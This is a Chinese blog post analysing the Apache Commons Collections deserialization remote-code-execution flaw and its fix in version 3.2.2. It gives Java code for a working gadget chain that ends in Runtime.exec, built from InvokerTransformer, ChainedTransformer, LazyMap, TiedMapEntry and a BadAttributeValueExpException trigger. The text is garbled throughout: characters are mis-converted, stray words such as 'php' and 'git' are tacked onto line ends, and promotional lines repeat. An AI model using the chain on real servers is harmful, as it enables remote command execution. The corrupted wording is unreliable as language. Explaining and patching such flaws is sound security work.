原來不僅是fastjson,這個你天天都在用的類庫也被爆過反序列化漏洞!

GitHub 15.8k Star 的Java工程師成神之路,不來了解一下嗎!php

GitHub 15.8k Star 的Java工程師成神之路,真的不來了解一下嗎!html

GitHub 15.8k Star 的Java工程師成神之路,真的真的不來了解一下嗎!java

在《fastjson到底作錯了什麼?爲何會被頻繁爆出漏洞?》文章中,我從技術角度分析過爲何fastjson會被頻繁爆出一些安全漏洞,而後有人在評論區發表"說到底就是fastjson爛..."等言論,通常遇到這種評論我都是不想理的。git

可是過後想一想,這個事情仍是要單獨說一下,由於這種想法很危險。程序員

一旦這位讀者有一天當上了領導,那麼若是他負責的項目發生了漏洞,他仍是站出來講"都怪XXX代碼寫的爛...",這實際上是很是可怕的。github

工做久了的話,就會慢慢有種感受:代碼都是人寫的,是人寫的代碼就可能存在漏洞,這個是永遠都沒法避免的,任何牛X的程序員都不可能寫出徹底沒有bug的代碼!apache

其實關於序列化的安全性問題,不管是Java原生的序列化技術仍是不少其餘的開源序列化工具,都曾經發生過。json

序列化的安全性,一直都是比較大的一個話題,我無心爲fastjson辯駁,可是出問題以後直接噴代碼寫的爛,實際上是有點不負責任的。windows

Apache-Commons-Collections這個框架,相信每個Java程序員都不陌生,這是一個很是著名的開源框架。數組

可是,他其實也曾經被爆出過序列化安全漏洞,而漏洞的表現和fastjson同樣,都是能夠被遠程執行命令。

背景

Apache Commons是Apache軟件基金會的項目,Commons的目的是提供可重用的、解決各類實際的通用問題且開源的Java代碼。

**Commons Collections包爲Java標準的Collections API提供了至關好的補充。**在此基礎上對其經常使用的數據結構操做進行了很好的封裝、抽象和補充。讓咱們在開發應用程序的過程當中,既保證了性能,同時也能大大簡化代碼。

Commons Collections的最新版是4.4,可是使用比較普遍的仍是3.x的版本。其實,在3.2.1如下版本中,存在一個比較大的安全漏洞,能夠被利用來進行遠程命令執行。

這個漏洞在2015年第一次被披露出來,可是業內一直稱稱這個漏洞爲"2015年最被低估的漏洞"。

由於這個類庫的使用實在是太普遍了,首當其中的就是不少Java Web Server,這個漏洞在當時橫掃了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。

以後,Gabriel Lawrence和Chris Frohoff兩位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection實現任意代碼執行。

問題復現

這個問題主要會發生在Apache Commons Collections的3.2.1如下版本,本次使用3.1版本進行測試,JDK版本爲Java 8。

利用Transformer攻擊

Commons Collections中提供了一個Transformer接口,主要是能夠用來進行類型裝換的,這個接口有一個實現類是和咱們今天要介紹的漏洞有關的,那就是InvokerTransformer。

InvokerTransformer提供了一個transform方法,該方法核心代碼只有3行,主要做用就是經過反射對傳入的對象進行實例化,而後執行其iMethodName方法。

而須要調用的iMethodName和須要使用的參數iArgs其實都是InvokerTransformer類在實例化時設定進來的,這個類的構造函數以下:

也就是說,使用這個類,理論上能夠執行任何方法。那麼,咱們就能夠利用這個類在Java中執行外部命令。

咱們知道,想要在Java中執行外部命令,須要使用Runtime.getRuntime().exec(cmd)的形式,那麼,咱們就想辦法經過以上工具類實現這個功能。

首先,經過InvokerTransformer的構造函數設置好咱們要執行的方法以及參數:

Transformer transformer = new InvokerTransformer("exec",
        new Class[] {String.class},
        new Object[] {"open /Applications/Calculator.app"});
複製代碼

經過,構造函數,咱們設定方法名爲exec,執行的命令爲open /Applications/Calculator.app,即打開mac電腦上面的計算器(windows下命令:C:\\Windows\\System32\\calc.exe)。

而後,經過InvokerTransformer實現對Runtime類的實例化:

transformer.transform(Runtime.getRuntime());
複製代碼

運行程序後,會執行外部命令,打開電腦上的計算機程序:

至此,咱們知道能夠利用InvokerTransformer來調用外部命令了,那是否是隻須要把一個咱們自定義的InvokerTransformer序列化成字符串,而後再反序列化,接口實現遠程命令執行:

先將transformer對象序列化到文件中,再從文件中讀取出來,而且執行其transform方法,就實現了攻擊。

你覺得這就完了?

可是,若是事情只有這麼簡單的話,那這個漏洞應該早就被發現了。想要真的實現攻擊,那麼還有幾件事要作。

由於,newTransformer.transform(Runtime.getRuntime());這樣的代碼,不會有人真的在代碼中寫的。

若是沒有了這行代碼,還能實現執行外部命令麼?

這就要利用到Commons Collections中提供了另外一個工具那就是ChainedTransformer,這個類是Transformer的實現類。

ChainedTransformer類提供了一個transform方法,他的功能遍歷他的iTransformers數組,而後依次調用其transform方法,而且每次都返回一個對象,而且這個對象能夠做爲下一次調用的參數。

那麼,咱們能夠利用這個特性,來本身實現和transformer.transform(Runtime.getRuntime());一樣的功能:

Transformer[] transformers = new Transformer[] {
    //經過內置的ConstantTransformer來獲取Runtime類
    new ConstantTransformer(Runtime.class),
    //反射調用getMethod方法,而後getMethod方法再反射調用getRuntime方法,返回Runtime.getRuntime()方法
    new InvokerTransformer("getMethod",
        new Class[] {String.class, Class[].class },
        new Object[] {"getRuntime", new Class[0] }),
    //反射調用invoke方法,而後反射執行Runtime.getRuntime()方法,返回Runtime實例化對象
    new InvokerTransformer("invoke",
        new Class[] {Object.class, Object[].class },
        new Object[] {null, new Object[0] }),
    //反射調用exec方法
    new InvokerTransformer("exec",
        new Class[] {String.class },
        new Object[] {"open /Applications/Calculator.app"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
複製代碼

在拿到一個transformerChain以後,直接調用他的transform方法,傳入任何參數均可以,執行以後,也能夠實現打開本地計算器程序的功能:

那麼,結合序列化,如今的攻擊更加進了一步,再也不須要必定要傳入newTransformer.transform(Runtime.getRuntime());這樣的代碼了,只要代碼中有 transformer.transform()方法的調用便可,不管裏面是什麼參數:

攻擊者不會知足於此

可是,通常也不會有程序員會在代碼中寫這樣的代碼。

那麼,攻擊手段就須要更進一步,真正作到"不須要程序員配合"。

因而,攻擊者們發現了在Commons Collections中提供了一個LazyMap類,這個類的get會調用transform方法。(Commons Collections還真的是懂得黑客想什麼呀。)

那麼,如今的攻擊方向就是想辦法調用到LazyMap的get方法,而且把其中的factory設置成咱們的序列化對象就好了。

順藤摸瓜,能夠找到Commons Collections中的TiedMapEntry類的getValue方法會調用到LazyMap的get方法,而TiedMapEntry類的getValue又會被其中的toString()方法調用到。

public String toString() {
    return getKey() + "=" + getValue();
}

public Object getValue() {
    return map.get(key);
}
複製代碼

那麼,如今的攻擊門檻就更低了一些,只要咱們本身構造一個TiedMapEntry,而且將他進行序列化,這樣,只要有人拿到這個序列化以後的對象,調用他的toString方法的時候,就會自動觸發bug。

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
複製代碼

咱們知道,toString會在不少時候被隱式調用,如輸出的時候(System.out.println(ois.readObject());),代碼示例以下:

如今,黑客只須要把本身構造的TiedMapEntry的序列化後的內容上傳給應用程序,應用程序在反序列化以後,若是調用了toString就會被攻擊。

只要反序列化,就會被攻擊

那麼,有沒有什麼辦法,讓代碼只要對咱們準備好的內容進行反序列化就會遭到攻擊呢?

倒還真的被發現了,只要知足如下條件就好了:

那就是在某個類的readObject會調用到上面咱們提到的LazyMap或者TiedMapEntry的相關方法就好了。由於Java反序列化的時候,會調用對象的readObject方法。

經過深刻挖掘,黑客們找到了BadAttributeValueExpException、AnnotationInvocationHandler等類。這裏拿BadAttributeValueExpException舉例

BadAttributeValueExpException類是Java中提供的一個異常類,他的readObject方法直接調用了toString方法:

那麼,攻擊者只須要想辦法把TiedMapEntry的對象賦值給代碼中的valObj就好了。

經過閱讀源碼,咱們發現,只要給BadAttributeValueExpException類中的成員變量val設置成一個TiedMapEntry類型的對象就好了。

這就簡單了,經過反射就能實現:

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

// val是私有變量,因此利用下面方法進行賦值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);
複製代碼

因而,這時候,攻擊就很是簡單了,只須要把BadAttributeValueExpException對象序列化成字符串,只要這個字符串內容被反序列化,那麼就會被攻擊。

問題解決

以上,咱們復現了這個Apache Commons Collections類庫帶來的一個和反序列化有關的遠程代碼執行漏洞。

經過這個漏洞的分析,咱們能夠發現,只要有一個地方代碼寫的不夠嚴謹,就可能會被攻擊者利用。

由於這個漏洞影響範圍很大,因此在被爆出來以後就被修復掉了,開發者只須要將Apache Commons Collections類庫升級到3.2.2版本,便可避免這個漏洞。

-w1382

3.2.2版本對一些不安全的Java類的序列化支持增長了開關,默認爲關閉狀態。涉及的類包括

CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure
複製代碼

如在InvokerTransformer類中,本身實現了和序列化有關的writeObject()和 readObject()方法:

在兩個方法中,進行了序列化安全的相關校驗,校驗實現代碼以下:

在序列化及反序列化過程當中,會檢查對於一些不安全類的序列化支持是不是被禁用的,若是是禁用的,那麼就會拋出UnsupportedOperationException,經過org.apache.commons.collections.enableUnsafeSerialization設置這個特性的開關。

將Apache Commons Collections升級到3.2.2之後,執行文中示例代碼,將報錯以下:

Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
    at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
    at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
複製代碼

後話

本文介紹了Apache Commons Collections的歷史版本中的一個反序列化漏洞。

若是你閱讀本文以後,可以有如下思考,那麼本文的目的就達到了:

一、代碼都是人寫的,有bug都是能夠理解的

二、公共的基礎類庫,必定要重點考慮安全性問題

三、在使用公共類庫的時候,要時刻關注其安全狀況,一旦有漏洞爆出,要立刻升級

四、安全領域深不見底,攻擊者總能抽絲剝繭,一點點bug均可能被利用

參考資料:

commons.apache.org/proper/comm…

p0sec.net/index.php/a…

www.freebuf.com/vuls/175252…

kingx.me/commons-col…

歡迎你們關注個人公衆號,會按期推送這種乾貨!幹到你到百度、谷歌都找不到的!!